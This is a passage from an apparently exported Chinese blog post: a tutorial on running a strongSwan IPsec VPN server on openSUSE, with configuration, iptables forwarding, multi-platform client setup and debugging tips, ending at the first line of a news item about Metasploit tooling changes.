rightauth，这次怎么把 EAP 的用户名写在左边了？\n请注意，ipsec.conf 使用的是本机/他机的逻辑，本机默认在左; 而 ipsec.secrets 使用的是主机/对等点的逻辑，主机永远在左。\nipsec.conf 里面定义的是连接，左侧的本机（对你来说，本机是你的笔记本，而对服务器来说，本机是它自己，你才是它的「他机」，这个配置是在服务器上的，不要混淆）用证书认证，右侧是你的 win7 用 mschapv2 认证; 而 ipsec.secrets 里定义的是认证，认证过程是你的 win7 用这个用户名和后面定义的密码去连接主机，认证是主机上发生的，所以要写在左边。\n另外一部分人可能会混淆主机/对等点的含义，认为他们和 BT 是一样的，你开启了一个 strongswan 连接，于是你是主机，而其它人都是对等点，于是他们统一了本机/他机和主机/对等点这两种截然不同的逻辑。前面已经说了我们的例子是以 VPS/客户机这种典型案例为主，而你的客户机是图形界面自适配的，你没有改过客户机的配置文件（所以官方维基上提供的例子你要看的是 moon 的配置），这种尴尬的统一的影响几乎没有。\n而这种案例下，你不能理解主机/对等点的含义的后果是致命的：\n你有一台国外 VPS，一台国内 VPS，想让国内 VPS 也能科学上网。那你在国内 VPS 上就可能产生这样的配置：\n\u0026lt;国外 VPS 的 IP\u0026gt; \u0026lt;国内 VPS 的 IP\u0026gt; : RSA \u0026lt;国内 VPS 的私人证书名称\u0026gt; \u0026lt;私人证书密码\u0026gt; 国外 VPS：\n\u0026lt;国外 VPS 的 IP\u0026gt; \u0026lt;国内 VPS 的 IP\u0026gt; : RSA \u0026lt;国外 VPS 的服务器证书名称\u0026gt; // 服务器证书一般没有密码 这里国外服务器是主机，国内服务器是对等点。主机永远只有一台，而且是在一开始便确定并固定不变的。如果你把国内 VPS 配置成：\n\u0026lt;国内 VPS 的 IP\u0026gt; \u0026lt;国外 VPS 的 IP\u0026gt; : RSA \u0026lt;国内 VPS 的私人证书名称\u0026gt; \u0026lt;私人证书密码\u0026gt; 是无法连接的。因为主机始终是国外的 VPS。你可以想象为 BT 中心种子服务器和你的计算机的关系。中心种子服务器是固定不变的。\n另外也间接证明了 ipsec 连接的代理是单向的，只能是主机为对等点做代理。就是说即使两台都是服务器，它们的 ipsec 连接也不是双向的，比如你国内服务器可以科学上网，而国外服务器可以看优酷，这是不可能在一个连接里发生的。\nstrongswan.conf # strongswan.conf - strongSwan configuration file charon { duplicheck.enable = no dns1 = 208.67.222.222 dns2 = 208.67.220.220 # for Windows only nbns1 = 208.67.222.222 nbns2 = 208.67.220.220 filelog { /var/log/strongswan.charon.log { time_format = %b %e %T default = 2 append = no flush_line = yes } } } 从 strongswan 5 起，无论是 ikev1 还是 ikev2 协议都使用 ikev2 的 daemon：charon 来实现。也就是说不必再在 /etc/strongswan.conf 里配置 pluto 了。\nduplicheck.enable = no 是为了你能同时连接多个设备，所以要把冗余检查关闭。\ndns 就不说了。nbns 是 Windows 的 NetBIOS 名称服务器实现， wins 服务会请求的。实际上 NBNS 协议是一个标准协议，但问题是 Linux 不强制而 Windows 强制请求，你不定义就无法连接。所以对于 ipsec VPN 来说，这个就是只供 Windows 使用的。\n下面的 filelog 定义了一个文本日志。ipsec 协议的各种实现似乎都没有显式定义文本日志（比如 racoon，strongswan 都没有），而是写入系统日志 syslog。那样不利于调试，所以显式定义一下。\ndefault 是默认日志级别：-1,0,1,2,3,4。-1 是完全没有日志; 0 只告诉你连接建立、连接关闭; 1 只输出错误提示; 2 会输出错误、警告和调试信息; 3 会把连接传输的数据也打印; 4 则会把密钥内容这些敏感数据也打印。一般情况下，1 或 2 都可以。 append 是当你重启 strongswan 后，是接上次日志写，还是新建一个日志（上次的会被删除）。因为 strongswan 的日志太多了，所以用 no。 flush_line 是每产生一行日志，就写入到磁盘一次。防止突然断电，磁盘缓存数据丢失。 另外你还可以详细定义每个 strongswan 模块的日志级别，但是没什么必要，具体可见 LoggerConfiguration。\n启动 Strongswan sudo systemctl enable strongswan.service sudo systemctl start strongswan.service 注：如果是 openSUSE12.2 发行版，包中默认没有strongswan.service，需要用户到 /etc/init.d/ 目录下启动服务。\ncd /etc/init.d/ sudo ipsec start 配置 Iptables 转发 sudo iptables -A INPUT -p udp --dport 500 -j ACCEPT sudo iptables -A INPUT -p udp --dport 4500 -j ACCEPT sudo iptables -t nat -A POSTROUTING -s 10.0.0.0/24 -o eth0 -j MASQUERADE sudo iptables -A FORWARD -s 10.0.0.0/24 -j ACCEPT sudo echo 1 \u0026gt; /proc/sys/net/ipv4/ip_forward 为了每次 VPS 启动不重新输入这些命令，我们做成了一个 Systemd 服务 strongswan-iptables.service。下载扔到 /etc/systemd/system，然后：\nsystemctl enable strongswan-iptables.service systemctl start strongswan-iptables.service 即可运行上述命令。以后系统启动时也将自动运行上述命令。\nopenSUSE 客户端配置 strongswan 项目同时开发了 NetworkManager-strongswan，最新版本是 1.3。\n安装 NetworkManager-strongswan\nsudo zypper in NetworkManager-strongswan GNOME 要安装 NetworkManager-strongswan-gnome\nsudo zypper in NetworkManager-strongswan-gnome KDE 要安装 NetworkManager-strongswan-kde4\nsudo zypper in NetworkManager-strongswan-kde4 如果你的 strongswan 是 5.0.0 以上的话，你还要安装 strongswan-nm\nsudo zypper in strongswan-nm 然后编辑 /etc/NetworkManager/VPN/nm-strongswan-service.name，替换\nprogram=/usr/lib/ipsec/charon 为：\nprogram=/usr/lib/ipsec/charon-nm 并重载 systemd 的全部系统服务\nsudo systemctl --system daemon-reload 不然会出现 “vpn service \u0026lsquo;strongswan\u0026rsquo; start timed out” 即 “signal of type SIGTERM received. Shutting down” 错误。因为 5 版的 strongswan 引入了一个 strongswan-nm 来避免与系统的 strongswan 冲突，而 openSUSE 的 NetworkManager-strongswan 的 systemd 服务有 bug（待修复），并不会去使用 strongswan-nm。\n之后一定要重启 NetworkManager.service 服务：\nsudo systemctl restart NetworkManager.service 不然你设置好了会发现无法保存私钥（private key）的密码，也不会弹出窗口，错误信息为：\n\u0026lt;error\u0026gt; [1370608229.893778] [nm-vpn-connection.c:1355] plugin_need_secrets_cb(): (f4f7fcdb-110b-4f80-8fc8-23934fc29a0c/strongswan) plugin NeedSecrets request #1 failed: dbus-glib-error-quark Rejected send message, 1 matched rules; type=\u0026#34;method_call\u0026#34;, sender=\u0026#34;:1.3\u0026#34; (uid=0 pid=569 comm=\u0026#34;/usr/sbin/NetworkManager --no-daemon \u0026#34;) interface=\u0026#34;org.freedesktop.NetworkManager.VPN.Plugin\u0026#34; member=\u0026#34;NeedSecrets\u0026#34; error name=\u0026#34;(unset)\u0026#34; requested_reply=\u0026#34;0\u0026#34; destination=\u0026#34;org.freedesktop.NetworkManager.strongswan\u0026#34; (uid=0 pid=11246 comm=\u0026#34;/usr/lib/ipsec/charon-nm \u0026#34;) 这是因为 NetworkManager 的 DBus 服务没有重载，不能识别 strongswan 的缘故。\n配置要点如下：\n勾选系统连接，不然启动不了 daemon 网关：你的服务器 URL 或 IP，必须和证书里面那个一样（证书里是 URL 这里就不能是 IP） 证书：你的 CA 证书 认证方式：证书/私钥 证书：你的客户证书 私钥：客户证书对应的私钥 私钥密码：生成客户证书时让你输入的那个密码，没有就选不需要，否则选储存或总是询问 勾选请求内部 IP 地址，不然你没有虚拟地址，tun 设备自然也没法为你中转流量 勾选强制 UDP 封装，这是因为 strongswan 5 以后即使 ikev1 也是通过 ikev2 的 charon 后端通讯的。而 charon 有一个新的特性叫 MOBIKE，也就是手机端上的自动重连（只适用于使用证书的情况），这个特性是默认开启的。而开启了这个特性所有的流量都会走 4500 端口也就是 UDP。你不勾根本连不上。 其它客户端配置 其它 Linux Chakra Linux 方法和openSUSE的大同小异，不过关键问题在于Chakra默认所有源中是没有Strongswan，这个时候各位可以借助CCR来实现安装，CCR中有三个包，分别是strongswan, networkmanager-strongswan, networkmanager-dispatcher-strongswan-systemd（目前三者由我自己维护，从AUR照抄，修改了其中一个依赖而已）。其中，第一个是主要的，第二个大家都知道，第三个是systemd服务。推荐客户端用户只需要安装前两个。（我的源中默认启用了所有的源，包括core, platform, desktop, apps, games, lib32, extra以及测试源和不稳定源，个人认为主要要启动extra源，因为需要到一些gtk库）\n编译安装两个主要包 ccr -S strongswan \u0026amp;\u0026amp; ccr -S networkmanager-strongswan\n（各位可以去喝喝茶，听听歌）\n下载strongswan源代码编译安装strongswan-nm， 下载地址，下载到一个你知道的地方，我放到/home/source/目录下，解压后，开始编译strongswan-nm插件 # build charon with OpenSSL/NM Plugin ./configure --sysconfdir=/etc --prefix=/usr --libexecdir=/usr/lib \\ --disable-aes --disable-des --disable-md5 --disable-sha1 --disable-sha2 \\ --disable-fips-prf --disable-gmp --enable-openssl --enable-nm --enable-agent \\ --enable-eap-gtc --enable-eap-md5 --enable-eap-mschapv2 make make install 完成安装后，注意/usr/lib/ipsec/目录下多出了一个charon-nm，这个就是我么需要的东西。下面的设置基本遵循玛丽苏的方式。\n编辑/etc/NetworkManager/VPN/nm-strongswan-service.name，替换 program=/usr/lib/strongswan/charon 为：\nprogram=/usr/lib/ipsec/charon-nm 后面的步骤依照openSUSE中“并重载 systemd 的全部系统服务” NetworkManager 的配置要点同 openSUSE 补充：这个时候你的客户端应该能够连接了，如果不能，首先看看防火墙策略，如果还是不行，你可以试试先随便连接一个 VPN ，然后断开再连自己的 strongswan 其他 Linux 发行版参考 openSUSE 配置。\niOS 把 CA 证书和之前做好的 pkcs12（.p12）发邮件给自己。在 iOS 上收邮件，导入两者。然后新建 IPSec VPN：\n服务器，和 openSUSE 的要求一样，都是 IP 或都是 URL 账户和密码写 ipsec.secrets 里 XAUTH 前后的那两个 如果要使用证书，证书选刚才的那个。否则可以不使用证书，输入 ipsec.secrets 里设置的 PSK 密码。 Android IPSec Xauth PSK 我的 Jelly Bean 是有这个的，设置 VPN 之前 JB 要求你必须设置锁屏密码或者 PIN 码。\n主要还是：\n服务器，同上 IPSec 预共享密钥：写 ipsec.secrets 里 PSK 后面的那个密码。 然后登入时还是用 XAUTH 前后的那两个做用户名密码。\n\u0026ldquo;strongSwan VPN Client\u0026rdquo; for Android 4.0 (ICS)+ 这是官方自己出的客户端，Google Play 里就有。\n把之前做好的 pkcs12 发邮件给自己。实际上 pkcs12 里就包含了 CA 证书，iOS 是有 bug 才必须明确要求导入 CA 证书（鄙视之）。Android 不用。直接在 GMail 里点击就会提示你导入。\n然后打开官方客户端，新建方案：\nGateway 就是服务器，同上 Type 选 IKEv2 Certificate User certificate 选你刚才导入的 取消自动选择 CA 证书，然后在用户证书里选你刚才从 pk12 导入的 Windows XP/Vista 注意 XP/Vista 本身不支持纯 IPsec 连接。如果使用 L2TP/IPsec 模式，使用证书会 fallback 到 iOS_cert 这个连接类型，使用预共享密码会 fallback 到 android-xauth-psk 这个连接类型。\n使用 Shrew Soft VPN Client 下载： https://www.shrew.net/download/vpn\n安装后打开，选「Add」：\n「General」选项卡下，把「Host Name or IP address」添好 「Authorization」选项卡下： 「Authorization Method」选「Mutual PSK + XAuth」 「Local Identity」的「Identification Type」选「IP Address」 「Credentials」下面「Pre Shared Key」里输入 PSK 密码 「Phrase 1」，「Exchange Type」选「Main」 「Phrase 2」，「PFS Exchange」选「auto」 保存。连接时用户名密码是你的 XAUTH 用户名密码。\n服务器端对应的配置是 android-xauth-psk 的连接类型。\nWindows 7+ 使用 Shrew Soft VPN Client 客户端：和上面 XP 的一样。\n使用自带客户端（Agile）：\n导入证书：\n开始菜单搜索「cmd」，打开后输入 mmc（Microsoft 管理控制台）。 「文件」-「添加/删除管理单元」，添加「证书」单元 证书单元的弹出窗口中一定要选「计算机账户」，之后选「本地计算机」，确定。 在左边的「控制台根节点」下选择「证书」-「个人」，然后选右边的「更多操作」-「所有任务」-「导入」打开证书导入窗口。 选择刚才生成的 client.cert.p12 文件。下一步输入私钥密码。下一步「证书存储」选「个人」。 导入成功后，把导入的 CA 证书剪切到「受信任的根证书颁发机构」的证书文件夹里面。 打开剩下的那个私人证书，看一下有没有显示「您有一个与该证书对应的私钥」，以及「证书路径」下面是不是显示「该证书没有问题」。 然后关闭 mmc，提示「将控制台设置存入控制台1吗」，选「否」即可。 至此，证书导入完成。\n注意 千万不要双击 .p12 证书导入！因为那样会导入到当前用户而不是本机计算机中，ipsec 守护精灵是访问不了它的。\n建立连接：\n「控制面板」-「网络和共享中心」-「设置新的连接或网络」-「连接到工作区」-「使用我的 Internet 连接」 Internet 地址写服务器地址，注意事项同 openSUSE 的，都是 IP 或都是 URL。 描述随便写。 用户名密码写之前配置的 EAP 的那个。 确定 点击右下角网络图标，在新建的 VPN 连接上右键属性然后切换到「安全」选项卡。 VPN 类型选 IKEv2 数据加密是「需要加密」 身份认证这里需要说一下，如果想要使用 EAP-MSCHAPV2 的话就选择「使用可扩展的身份认证协议」-「Microsoft 安全密码」，想要使用私人证书认证的话就选择「使用计算机证书」。 调试 如果没有特殊需要，服务器端的日志就足够检测出绝大多数问题的来源。\n我唯一需要在客户端上侦错的那次是 iOS 客户端。\n日志阅读技巧 strongswan 的 charon daemon 启动后，会初始化并加载之前你定义好的 conn，这部分 log 是没有必要去读的。当然在你配置有问题时可能就有必要了，但当配置有问题的时候，systemctl start strongswan.service 会失败，systemctl status strongswan.service 就会指出你配置问题所在的行号（=。=）\u0026hellip;\n所以你只要去查找「added configuration \u0026lsquo;windows7\u0026rsquo;」，这里 windows7 是你配置的最后一个 conn 的名称，然后从那里往下看就好了。\n另外连接失败是会把连接状态从 CONNECTING 变为 DELETEING 的，DELETEING 又会刷一大堆日志，但那些日志都是没用的。\n服务器端调试 /var/log/strongswan-charon.log 文件\nLinux 调试 参照 strongswan 配置教学改 /etc/strongswan.conf，之后同服务器端调试。\niOS 调试 越狱安装 iFile。编辑 /etc/racoon/racoon.conf 文件，找到 #log debug; 字段，改成：\nlog debug; path logfile \u0026#34;/var/log/racoon.log\u0026#34;; 保存。\nAndroid 调试 strongSwan 官方客户端提供了日志查看功能。 android 自带的 VPN 调试方法如下： 打开「终端模拟器」，输入 su，会弹出超级用户，允许。\ncd /storage/sdcard0 logcat -f ./log.txt 然后用 Airdroid 等工具把 SD 卡中的 log.txt 传到电脑上，打开搜索 VPN 即可。\nWindows 调试 微软 technet：VPN Troubleshooting Tools。\n扩展阅读 计费软件 FreeRadius：账户认证和计费 daloRadius：用户账单管理 参考： 使用 StrongSwan 搭建 IKEv1 IKEv2 VPN服务器|莓玩没了。注：该文的 strongswan 配置仅供参考（有很多冗余配置）。\nMySQL：账户管理后台数据库 参考： SDB:搭建LAMP服务器\n参考文献 配置选项：\nhttp://wiki.strongswan.org/projects/strongswan/wiki/IpsecConf http://wiki.strongswan.org/projects/strongswan/wiki/IpsecSecrets http://wiki.strongswan.org/projects/strongswan/wiki/NetworkManager 设备/操作系统特殊要求：\nhttp://wiki.strongswan.org/projects/strongswan/wiki/IOS_(Apple) http://wiki.strongswan.org/projects/strongswan/wiki/Win7Config http://wiki.strongswan.org/projects/strongswan/wiki/Win7Certs http://wiki.strongswan.org/projects/strongswan/wiki/Win7MultipleConfig http://wiki.strongswan.org/projects/strongswan/wiki/Win7EapMultipleConfig 作者 MargueriteSu 2013年6月5日 (三) 23:03 (MDT) Houge_Langley 2013年6月12日 (三) 23:03 (MDT) ","permalink":"https://www.lucien116.com/archives/106/","summary":"\u003cp\u003e本教学介绍了如何使用 Strongswan 5.0.x 在 openSUSE 12.3+ 服务器上架设支持 ikev1/ikev2 的 Ipsec VPN。适用于 openSUSE、iOS、Android、Windows 和其它 Linux。\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003e注意\u003c/strong\u003e Strongswan 5 即现在的主力支持版本和 Strongswan 4 的 ipsec.conf 有很大的不同（作废了很多选项），请保证您的版本为 5.0.4+ 本教学才有参考价值。因此请不要往 Debian 这些软件包版本旧的系统上套，同样 openSUSE 用户也不要拿 Debian 的来套。\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003e注意\u003c/strong\u003e 本文的例子仅以最常见的 VPS/客户机模式为例，假设客户机使用图形客户端，因此并不涉及客户端文本配置的内容。其中的原理和服务器端配置可用于其它用途比如服务器到服务器（Site to Site）的连接，但这种连接的客户端文本配置部分需要领会原理自己写。\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003e注意\u003c/strong\u003e 本文只适用于有 VPS 的爱好者使用，并不提供已建立好的 demo 供测试，但保证文中出现的配置如无意外如上游改选项，实际中都是能够使用的。因此并不可用于「免费 VPN」这样的话题，如何优惠购买 VPS 请到我们的论坛 \u003ca href=\"https://forum.suse.org.cn/\"\u003eforum.suse.org.cn\u003c/a\u003e。本文也不讨论如何进行后台计费，但提供了计费软件的名称供 VPN 服务商参考，因此只适用于小团体的共用。如果小群体产生流量纠纷而需区分账户，那解散才是治本的方法，其它都只能治标。\u003c/p\u003e\n\u003ch2 id=\"目录\"\u003e目录\u003c/h2\u003e\n\u003cp\u003e[ \u003ca href=\"http://zh.opensuse.org/index.php?title=SDB:Setup_Ipsec_VPN_with_Strongswan\u0026amp;variant=zh#\"\u003e隐藏\u003c/a\u003e]\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"http://zh.opensuse.org/index.php?title=SDB:Setup_Ipsec_VPN_with_Strongswan\u0026amp;variant=zh#.E4.BB.80.E4.B9.88.E6.98.AF_IPsec.EF.BC.9F\"\u003e1什么是 IPsec？\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"http://zh.opensuse.org/index.php?title=SDB:Setup_Ipsec_VPN_with_Strongswan\u0026amp;variant=zh#.E8.AE.BE.E5.A4.87.2F.E6.93.8D.E4.BD.9C.E7.B3.BB.E7.BB.9F.E8.A7.84.E6.A0.BC\"\u003e2设备/操作系统规格\u003c/a\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"http://zh.opensuse.org/index.php?title=SDB:Setup_Ipsec_VPN_with_Strongswan\u0026amp;variant=zh#Linux\"\u003e2.1Linux\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"http://zh.opensuse.org/index.php?title=SDB:Setup_Ipsec_VPN_with_Strongswan\u0026amp;variant=zh#Android\"\u003e2.2Android\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"http://zh.opensuse.org/index.php?title=SDB:Setup_Ipsec_VPN_with_Strongswan\u0026amp;variant=zh#iOS.2FMac_OS_X\"\u003e2.3iOS/Mac OS X\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"http://zh.opensuse.org/index.php?title=SDB:Setup_Ipsec_VPN_with_Strongswan\u0026amp;variant=zh#Windows\"\u003e2.4Windows\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"http://zh.opensuse.org/index.php?title=SDB:Setup_Ipsec_VPN_with_Strongswan\u0026amp;variant=zh#.E5.AE.89.E8.A3.85_Srongswan\"\u003e3安装 Srongswan\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"http://zh.opensuse.org/index.php?title=SDB:Setup_Ipsec_VPN_with_Strongswan\u0026amp;variant=zh#.E7.94.9F.E6.88.90.E8.AF.81.E4.B9.A6.EF.BC.88.E5.8F.AF.E9.80.89.EF.BC.89\"\u003e4生成证书（可选）\u003c/a\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"http://zh.opensuse.org/index.php?title=SDB:Setup_Ipsec_VPN_with_Strongswan\u0026amp;variant=zh#.E7.94.9F.E6.88.90_CA_.E8.AF.81.E4.B9.A6\"\u003e4.1生成 CA 证书\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"http://zh.opensuse.org/index.php?title=SDB:Setup_Ipsec_VPN_with_Strongswan\u0026amp;variant=zh#.E7.94.9F.E6.88.90.E6.9C.8D.E5.8A.A1.E5.99.A8.E8.AF.81.E4.B9.A6\"\u003e4.2生成服务器证书\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"http://zh.opensuse.org/index.php?title=SDB:Setup_Ipsec_VPN_with_Strongswan\u0026amp;variant=zh#.E7.94.9F.E6.88.90.E5.AE.A2.E6.88.B7.E7.AB.AF.E8.AF.81.E4.B9.A6\"\u003e4.3生成客户端证书\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"http://zh.opensuse.org/index.php?title=SDB:Setup_Ipsec_VPN_with_Strongswan\u0026amp;variant=zh#.E7.94.9F.E6.88.90_pkcs12_.E8.AF.81.E4.B9.A6.EF.BC.88.E5.8F.AF.E9.80.89.EF.BC.89\"\u003e4.4生成 pkcs12 证书（可选）\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"http://zh.opensuse.org/index.php?title=SDB:Setup_Ipsec_VPN_with_Strongswan\u0026amp;variant=zh#.E5.AE.89.E8.A3.85.E8.AF.81.E4.B9.A6\"\u003e5安装证书\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"http://zh.opensuse.org/index.php?title=SDB:Setup_Ipsec_VPN_with_Strongswan\u0026amp;variant=zh#.E9.85.8D.E7.BD.AE_Strongswan\"\u003e6配置 Strongswan\u003c/a\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"http://zh.opensuse.org/index.php?title=SDB:Setup_Ipsec_VPN_with_Strongswan\u0026amp;variant=zh#ipsec.conf\"\u003e6.1ipsec.conf\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"http://zh.opensuse.org/index.php?title=SDB:Setup_Ipsec_VPN_with_Strongswan\u0026amp;variant=zh#ipsec.secrets\"\u003e6.2ipsec.secrets\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"http://zh.opensuse.org/index.php?title=SDB:Setup_Ipsec_VPN_with_Strongswan\u0026amp;variant=zh#strongswan.conf\"\u003e6.3strongswan.conf\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"http://zh.opensuse.org/index.php?title=SDB:Setup_Ipsec_VPN_with_Strongswan\u0026amp;variant=zh#.E5.90.AF.E5.8A.A8_Strongswan\"\u003e7启动 Strongswan\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"http://zh.opensuse.org/index.php?title=SDB:Setup_Ipsec_VPN_with_Strongswan\u0026amp;variant=zh#.E9.85.8D.E7.BD.AE_Iptables_.E8.BD.AC.E5.8F.91\"\u003e8配置 Iptables 转发\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"http://zh.opensuse.org/index.php?title=SDB:Setup_Ipsec_VPN_with_Strongswan\u0026amp;variant=zh#openSUSE_.E5.AE.A2.E6.88.B7.E7.AB.AF.E9.85.8D.E7.BD.AE\"\u003e9openSUSE 客户端配置\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"http://zh.opensuse.org/index.php?title=SDB:Setup_Ipsec_VPN_with_Strongswan\u0026amp;variant=zh#.E5.85.B6.E5.AE.83.E5.AE.A2.E6.88.B7.E7.AB.AF.E9.85.8D.E7.BD.AE\"\u003e10其它客户端配置\u003c/a\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"http://zh.opensuse.org/index.php?title=SDB:Setup_Ipsec_VPN_with_Strongswan\u0026amp;variant=zh#.E5.85.B6.E5.AE.83_Linux\"\u003e10.1其它 Linux\u003c/a\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"http://zh.opensuse.org/index.php?title=SDB:Setup_Ipsec_VPN_with_Strongswan\u0026amp;variant=zh#Chakra_Linux\"\u003e10.1.1Chakra Linux\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"http://zh.opensuse.org/index.php?title=SDB:Setup_Ipsec_VPN_with_Strongswan\u0026amp;variant=zh#iOS\"\u003e10.2iOS\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"http://zh.opensuse.org/index.php?title=SDB:Setup_Ipsec_VPN_with_Strongswan\u0026amp;variant=zh#Android_2\"\u003e10.3Android\u003c/a\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"http://zh.opensuse.org/index.php?title=SDB:Setup_Ipsec_VPN_with_Strongswan\u0026amp;variant=zh#IPSec_Xauth_PSK\"\u003e10.3.1IPSec Xauth PSK\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"http://zh.opensuse.org/index.php?title=SDB:Setup_Ipsec_VPN_with_Strongswan\u0026amp;variant=zh#.22strongSwan_VPN_Client.22_for_Android_4.0_.28ICS.29.2B\"\u003e10.3.2\u0026quot;strongSwan VPN Client\u0026quot; for Android 4.0 (ICS)+\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"http://zh.opensuse.org/index.php?title=SDB:Setup_Ipsec_VPN_with_Strongswan\u0026amp;variant=zh#Windows_XP.2FVista\"\u003e10.4Windows XP/Vista\u003c/a\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"http://zh.opensuse.org/index.php?title=SDB:Setup_Ipsec_VPN_with_Strongswan\u0026amp;variant=zh#.E4.BD.BF.E7.94.A8_Shrew_Soft_VPN_Client\"\u003e10.4.1使用 Shrew Soft VPN Client\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"http://zh.opensuse.org/index.php?title=SDB:Setup_Ipsec_VPN_with_Strongswan\u0026amp;variant=zh#Windows_7.2B\"\u003e10.5Windows 7+\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"http://zh.opensuse.org/index.php?title=SDB:Setup_Ipsec_VPN_with_Strongswan\u0026amp;variant=zh#.E8.B0.83.E8.AF.95\"\u003e11调试\u003c/a\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"http://zh.opensuse.org/index.php?title=SDB:Setup_Ipsec_VPN_with_Strongswan\u0026amp;variant=zh#.E6.97.A5.E5.BF.97.E9.98.85.E8.AF.BB.E6.8A.80.E5.B7.A7\"\u003e11.1日志阅读技巧\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"http://zh.opensuse.org/index.php?title=SDB:Setup_Ipsec_VPN_with_Strongswan\u0026amp;variant=zh#.E6.9C.8D.E5.8A.A1.E5.99.A8.E7.AB.AF.E8.B0.83.E8.AF.95\"\u003e11.2服务器端调试\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"http://zh.opensuse.org/index.php?title=SDB:Setup_Ipsec_VPN_with_Strongswan\u0026amp;variant=zh#Linux_.E8.B0.83.E8.AF.95\"\u003e11.3Linux 调试\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"http://zh.opensuse.org/index.php?title=SDB:Setup_Ipsec_VPN_with_Strongswan\u0026amp;variant=zh#iOS_.E8.B0.83.E8.AF.95\"\u003e11.4iOS 调试\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"http://zh.opensuse.org/index.php?title=SDB:Setup_Ipsec_VPN_with_Strongswan\u0026amp;variant=zh#Android_.E8.B0.83.E8.AF.95\"\u003e11.5Android 调试\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"http://zh.opensuse.org/index.php?title=SDB:Setup_Ipsec_VPN_with_Strongswan\u0026amp;variant=zh#Windows_.E8.B0.83.E8.AF.95\"\u003e11.6Windows 调试\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"http://zh.opensuse.org/index.php?title=SDB:Setup_Ipsec_VPN_with_Strongswan\u0026amp;variant=zh#.E6.89.A9.E5.B1.95.E9.98.85.E8.AF.BB\"\u003e12扩展阅读\u003c/a\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"http://zh.opensuse.org/index.php?title=SDB:Setup_Ipsec_VPN_with_Strongswan\u0026amp;variant=zh#.E8.AE.A1.E8.B4.B9.E8.BD.AF.E4.BB.B6\"\u003e12.1计费软件\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"http://zh.opensuse.org/index.php?title=SDB:Setup_Ipsec_VPN_with_Strongswan\u0026amp;variant=zh#.E5.8F.82.E8.80.83.E6.96.87.E7.8C.AE\"\u003e13参考文献\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"http://zh.opensuse.org/index.php?title=SDB:Setup_Ipsec_VPN_with_Strongswan\u0026amp;variant=zh#.E4.BD.9C.E8.80.85\"\u003e14作者\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2 id=\"什么是-ipsec\"\u003e什么是 IPsec？\u003c/h2\u003e\n\u003cp\u003eIPsec 是 \u003ca href=\"http://zh.opensuse.org/SDB:VPN_%E9%85%8D%E7%BD%AE\" title=\"SDB:VPN 配置\"\u003e虚拟私密网络（VPN）\u003c/a\u003e 的一种，用于在服务器和客户端之间建立加密隧道并传输敏感数据之用。它由两个阶段组成，第一阶段（Phrase 1, ph1），交换金钥建立连接，使用互联网金钥交换（ike）协议; 第二阶段（Phrase 2, ph2），连接建立后对数据进行加密传输，使用封装安全载荷（esp）协议。参考： \u003ca href=\"http://zh.wikipedia.org/wiki/IPsec\"\u003e维基百科 IPsec 词条\u003c/a\u003e。\u003c/p\u003e","title":"使用Strongswan架设Ipsec VPN"},{"content":"2015年6月8日，Wei Chen在rapid7官方博客上发文，将于近期 移除metasploit-framework版本中的msfencoder和msfpayload， 